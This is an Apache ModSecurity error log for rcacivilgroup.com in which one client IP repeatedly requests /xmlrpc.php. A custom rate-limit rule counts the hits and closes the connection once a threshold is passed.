[Wed Nov 12 13:21:47.897974 2025] [:error] [pid 60180:tid 60202] [client 178.18.247.115:52930] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZa1hgd7ccS8EZg1rfUwAAAVQ"]
[Wed Nov 12 13:21:49.683285 2025] [:error] [pid 60180:tid 60197] [client 178.18.247.115:52932] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZbVhgd7ccS8EZg1rfXgAAAU8"]
[Wed Nov 12 13:21:51.482593 2025] [:error] [pid 60180:tid 60196] [client 178.18.247.115:56722] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZb1hgd7ccS8EZg1rfYQAAAU4"]
[Wed Nov 12 13:21:53.237009 2025] [:error] [pid 60097:tid 60147] [client 178.18.247.115:54047] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZccdT5oio_TbWpi8e4AAAAMI"]
[Wed Nov 12 13:21:55.023784 2025] [:error] [pid 12744:tid 12757] [client 178.18.247.115:57576] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZc51cp_ouUvkFj0XT6QAAAQk"]
[Wed Nov 12 13:21:56.800385 2025] [:error] [pid 60096:tid 60127] [client 178.18.247.115:56248] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZdDmzkhCvvk8DXOxIjQAAAIE"]
[Wed Nov 12 13:21:58.649499 2025] [:error] [pid 60095:tid 60122] [client 178.18.247.115:56250] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZdnlw2elroagFF1rgRwAAAFc"]
[Wed Nov 12 13:22:00.525618 2025] [:error] [pid 12744:tid 12749] [client 178.18.247.115:54395] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZeJ1cp_ouUvkFj0XT9AAAAQE"]
[Wed Nov 12 13:22:02.350274 2025] [:error] [pid 60097:tid 60173] [client 178.18.247.115:52414] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZesdT5oio_TbWpi8e8AAAANQ"]
[Wed Nov 12 13:22:04.297221 2025] [:error] [pid 60097:tid 60162] [client 178.18.247.115:61064] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZfMdT5oio_TbWpi8e9gAAAMk"]
[Wed Nov 12 13:22:06.311315 2025] [:error] [pid 60095:tid 60107] [client 178.18.247.115:61065] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZfnlw2elroagFF1rgVgAAAEg"]
[Wed Nov 12 13:22:08.352822 2025] [:error] [pid 60095:tid 60121] [client 178.18.247.115:62434] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZgHlw2elroagFF1rgXQAAAFY"]
[Wed Nov 12 13:22:10.143211 2025] [:error] [pid 60097:tid 60174] [client 178.18.247.115:58031] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZgsdT5oio_TbWpi8e-AAAANU"]
[Wed Nov 12 13:22:11.998358 2025] [:error] [pid 60405:tid 60422] [client 178.18.247.115:62627] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZg3MGv_mlVi6mf5qYPgAAAA4"]
[Wed Nov 12 13:22:13.846698 2025] [:error] [pid 12744:tid 12759] [client 178.18.247.115:65373] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZhZ1cp_ouUvkFj0XUPQAAAQs"]
[Wed Nov 12 13:22:15.706455 2025] [:error] [pid 60405:tid 60417] [client 178.18.247.115:63160] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZh3MGv_mlVi6mf5qYRgAAAAk"]
[Wed Nov 12 13:22:17.574667 2025] [:error] [pid 12744:tid 12748] [client 178.18.247.115:60733] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZiZ1cp_ouUvkFj0XUSQAAAQA"]
[Wed Nov 12 13:22:19.335071 2025] [:error] [pid 12744:tid 12753] [client 178.18.247.115:50290] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZi51cp_ouUvkFj0XUUgAAAQU"]
[Wed Nov 12 13:22:21.122294 2025] [:error] [pid 60097:tid 60168] [client 178.18.247.115:55913] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZjcdT5oio_TbWpi8fCwAAAM8"]
[Wed Nov 12 13:22:22.937315 2025] [:error] [pid 60180:tid 60186] [client 178.18.247.115:60016] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZjlhgd7ccS8EZg1rfmAAAAUQ"]
[Wed Nov 12 13:22:24.739628 2025] [:error] [pid 60095:tid 60122] [client 178.18.247.115:60273] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZkHlw2elroagFF1rggwAAAFc"]
[Wed Nov 12 13:22:26.611389 2025] [:error] [pid 60096:tid 60129] [client 178.18.247.115:55849] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZkjmzkhCvvk8DXOxItwAAAIM"]
[Wed Nov 12 13:22:28.437490 2025] [:error] [pid 60180:tid 60205] [client 178.18.247.115:54130] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZlFhgd7ccS8EZg1rfpQAAAVc"]
[Wed Nov 12 13:22:30.266417 2025] [:error] [pid 60097:tid 60167] [client 178.18.247.115:58849] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZlsdT5oio_TbWpi8fFAAAAM4"]
[Wed Nov 12 13:22:32.060987 2025] [:error] [pid 60095:tid 60107] [client 178.18.247.115:60693] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZmHlw2elroagFF1rgkAAAAEg"]
[Wed Nov 12 13:22:33.938318 2025] [:error] [pid 60096:tid 60141] [client 178.18.247.115:52498] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZmTmzkhCvvk8DXOxIvgAAAI4"]
[Wed Nov 12 13:22:33.938510 2025] [:error] [pid 60096:tid 60141] [client 178.18.247.115:52498] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 7"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZmTmzkhCvvk8DXOxIvgAAAI4"]
[Wed Nov 12 13:22:34.990339 2025] [:error] [pid 60097:tid 60169] [client 178.18.247.115:58186] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZmsdT5oio_TbWpi8fHwAAANA"]
[Wed Nov 12 13:22:34.990518 2025] [:error] [pid 60097:tid 60169] [client 178.18.247.115:58186] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZmsdT5oio_TbWpi8fHwAAANA"]
[Wed Nov 12 13:22:35.982319 2025] [:error] [pid 60096:tid 60128] [client 178.18.247.115:60888] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZmzmzkhCvvk8DXOxIxAAAAII"]
[Wed Nov 12 13:22:37.876954 2025] [:error] [pid 60097:tid 60165] [client 178.18.247.115:52104] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZncdT5oio_TbWpi8fKAAAAMw"]
[Wed Nov 12 13:22:39.667595 2025] [:error] [pid 12744:tid 12764] [client 178.18.247.115:55182] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZn51cp_ouUvkFj0XUeAAAARA"]
[Wed Nov 12 13:22:41.529135 2025] [:error] [pid 60096:tid 60128] [client 178.18.247.115:55190] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZoTmzkhCvvk8DXOxI0wAAAII"]
[Wed Nov 12 13:22:43.379452 2025] [:error] [pid 12744:tid 12761] [client 178.18.247.115:50775] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZo51cp_ouUvkFj0XUfgAAAQ0"]
[Wed Nov 12 13:22:43.379602 2025] [:error] [pid 12744:tid 12761] [client 178.18.247.115:50775] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZo51cp_ouUvkFj0XUfgAAAQ0"]
[Wed Nov 12 13:22:44.510455 2025] [:error] [pid 60097:tid 60149] [client 178.18.247.115:60659] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZpMdT5oio_TbWpi8fNQAAAMM"]
[Wed Nov 12 13:22:44.510589 2025] [:error] [pid 60097:tid 60149] [client 178.18.247.115:60659] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZpMdT5oio_TbWpi8fNQAAAMM"]
[Wed Nov 12 13:22:45.607823 2025] [:error] [pid 60096:tid 60134] [client 178.18.247.115:64745] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZpTmzkhCvvk8DXOxI2gAAAIg"]
[Wed Nov 12 13:22:45.607950 2025] [:error] [pid 60096:tid 60134] [client 178.18.247.115:64745] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZpTmzkhCvvk8DXOxI2gAAAIg"]
[Wed Nov 12 13:22:46.617450 2025] [:error] [pid 12744:tid 12754] [client 178.18.247.115:56314] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZpp1cp_ouUvkFj0XUggAAAQY"]
[Wed Nov 12 13:22:48.558260 2025] [:error] [pid 60097:tid 60176] [client 178.18.247.115:51567] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZqMdT5oio_TbWpi8fOQAAANc"]
[Wed Nov 12 13:22:50.477384 2025] [:error] [pid 60180:tid 60183] [client 178.18.247.115:65065] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZqlhgd7ccS8EZg1rf0AAAAUE"]
[Wed Nov 12 13:22:52.408563 2025] [:error] [pid 60097:tid 60172] [client 178.18.247.115:60129] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZrMdT5oio_TbWpi8fPQAAANM"]
[Wed Nov 12 13:22:52.408707 2025] [:error] [pid 60097:tid 60172] [client 178.18.247.115:60129] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 9"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZrMdT5oio_TbWpi8fPQAAANM"]
[Wed Nov 12 13:22:53.427306 2025] [:error] [pid 60096:tid 60158] [client 178.18.247.115:56569] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZrTmzkhCvvk8DXOxI6AAAAJg"]
[Wed Nov 12 13:22:55.306437 2025] [:error] [pid 60180:tid 60202] [client 178.18.247.115:64199] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZr1hgd7ccS8EZg1rf2AAAAVQ"]
[Wed Nov 12 13:22:55.306581 2025] [:error] [pid 60180:tid 60202] [client 178.18.247.115:64199] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZr1hgd7ccS8EZg1rf2AAAAVQ"]
[Wed Nov 12 13:22:56.350240 2025] [:error] [pid 60096:tid 60156] [client 178.18.247.115:53528] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZsDmzkhCvvk8DXOxI7AAAAJY"]
[Wed Nov 12 13:22:58.212952 2025] [:error] [pid 60180:tid 60183] [client 178.18.247.115:61416] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZslhgd7ccS8EZg1rf6AAAAUE"]
[Wed Nov 12 13:23:00.114926 2025] [:error] [pid 12744:tid 12751] [client 178.18.247.115:52751] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZtJ1cp_ouUvkFj0XUlgAAAQM"]
[Wed Nov 12 13:23:00.115124 2025] [:error] [pid 12744:tid 12751] [client 178.18.247.115:52751] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 9"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZtJ1cp_ouUvkFj0XUlgAAAQM"]
[Wed Nov 12 13:23:01.183505 2025] [:error] [pid 12744:tid 12770] [client 178.18.247.115:53534] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZtZ1cp_ouUvkFj0XUmQAAARY"]
[Wed Nov 12 13:23:03.355496 2025] [:error] [pid 60097:tid 60172] [client 178.18.247.115:62479] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZt8dT5oio_TbWpi8fXAAAANM"]
[Wed Nov 12 13:23:05.432590 2025] [:error] [pid 60095:tid 60119] [client 178.18.247.115:53252] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZuXlw2elroagFF1rg1AAAAFQ"]
[Wed Nov 12 13:23:05.432730 2025] [:error] [pid 60095:tid 60119] [client 178.18.247.115:53252] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZuXlw2elroagFF1rg1AAAAFQ"]
[Wed Nov 12 13:23:06.446406 2025] [:error] [pid 12744:tid 12764] [client 178.18.247.115:56641] [client 178.18.247.115] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 178.18.247.115, incrementing ddos counter"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZup1cp_ouUvkFj0XUpgAAARA"]
[Wed Nov 12 13:23:06.446540 2025] [:error] [pid 12744:tid 12764] [client 178.18.247.115:56641] [client 178.18.247.115] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 178.18.247.115, counter = 6"] [hostname "rcacivilgroup.com"] [uri "/xmlrpc.php"] [unique_id "aRQZup1cp_ouUvkFj0XUpgAAARA"]
